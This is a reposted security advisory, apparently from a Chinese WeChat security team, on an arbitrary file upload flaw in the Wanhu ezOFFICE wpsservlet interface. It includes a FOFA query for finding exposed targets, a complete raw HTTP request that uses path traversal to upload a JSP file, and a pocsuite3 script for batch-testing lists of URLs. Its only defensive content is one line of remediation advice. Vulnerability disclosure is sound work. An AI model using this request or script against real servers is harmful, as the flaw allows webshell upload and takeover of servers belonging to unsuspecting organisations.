漏洞描述 THE WARMTH
万户ezOFFICE协同管理平台涵盖门户自定义平台、信息知识平台管理、系统管理平台功能，它以工作流引擎为底层服务，以通讯沟通平台为交流手段，以门户自定义平台为信息推送显示平台，为用户提供集成的协同工作环境。
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。万户ezoffice协同管理平台 wpsservlet接口存在任意文件上传漏洞，攻击者可通过此漏洞上传webshell木马，获取服务器权限。
漏洞复现
THE WARMTH
1.使用下面fofa语句进行资产收集，确认测试目标
fofa语句app="万户网络-ezOFFICE"
2.漏洞首页页面
3.漏洞数据包
POST/defaultroot/wpsservlet?option=saveNewFile&newdocId=check&dir=../platform/portal/layout/&fileType=.jspHTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=55aeb894de1521afe560c924fad7c6fbContent-Length: 200--55aeb894de1521afe560c924fad7c6fbContent-Disposition: form-data; name="NewFile"; filename="check.jsp"<%out.print("test");%>--55aeb894de1521afe560c924fad7c6fb--
4.上传成功后，拼接路径在浏览器访问即可： http://127.0.0.1/defaultroot/platform/portal/layout/999.jsp
访问页面如下则是存在该漏洞
批量脚本 THE WARMTH 批量脚本 THE WARMTH 
from pocsuite3.api import Output, POCBase, register_poc, requests, loggerfrom pocsuite3.api import get_listener_ip, get_listener_portfrom pocsuite3.api import REVERSE_PAYLOAD, random_str
class wpsservlet(POCBase): pocDesc = '''万户协同办公平台ezoffice wpsservlet接口任意文件上传漏洞''' name = '万户协同办公平台ezoffice wpsservlet接口任意文件上传漏洞' appName = '万户协同办公平台ezoffice'
def _verify(self):
result = {} url = self.url+ '/defaultroot/wpsservlet?option=saveNewFile&newdocId=security&dir=../platform/portal/layout/&fileType=.jsp' check_path = self.url+ "/defaultroot/platform/portal/layout/security.jsp" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47", 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Cache-Control': 'max-age=0', 'Connection': 'close', } payload = "/defaultroot/wpsservlet?option=saveNewFile&newdocId=security&dir=../platform/portal/layout/&fileType=.jsp" try: files = { 'NewFile': ('security.jsp', '<% out.print("This website has a vulnerability!!!");%>', 'application/octet-stream') }
response = requests.post(url, headers=headers, files=files) if response.status_code == 200: check_response = requests.get(check_path, headers=headers, verify=False) if check_response.status_code == 200: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url result['VerifyInfo']['payload'] = payload
return self.parse_output(result) except Exception as e: pass
register_poc(wpsservlet)
使用命令 pocsuite -r wanhu_ezoffice_wpsservlet -f url.txt
修复建议 THE WARMTH 修复建议 THE WARMTH 
关闭互联网暴露面或接口处设置访问权限打补丁或升级安全版本
原文始发于微信公众号（揽月安全团队）：万户协同办公平台ezoffice wpsservlet接口存在任意文件上传
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论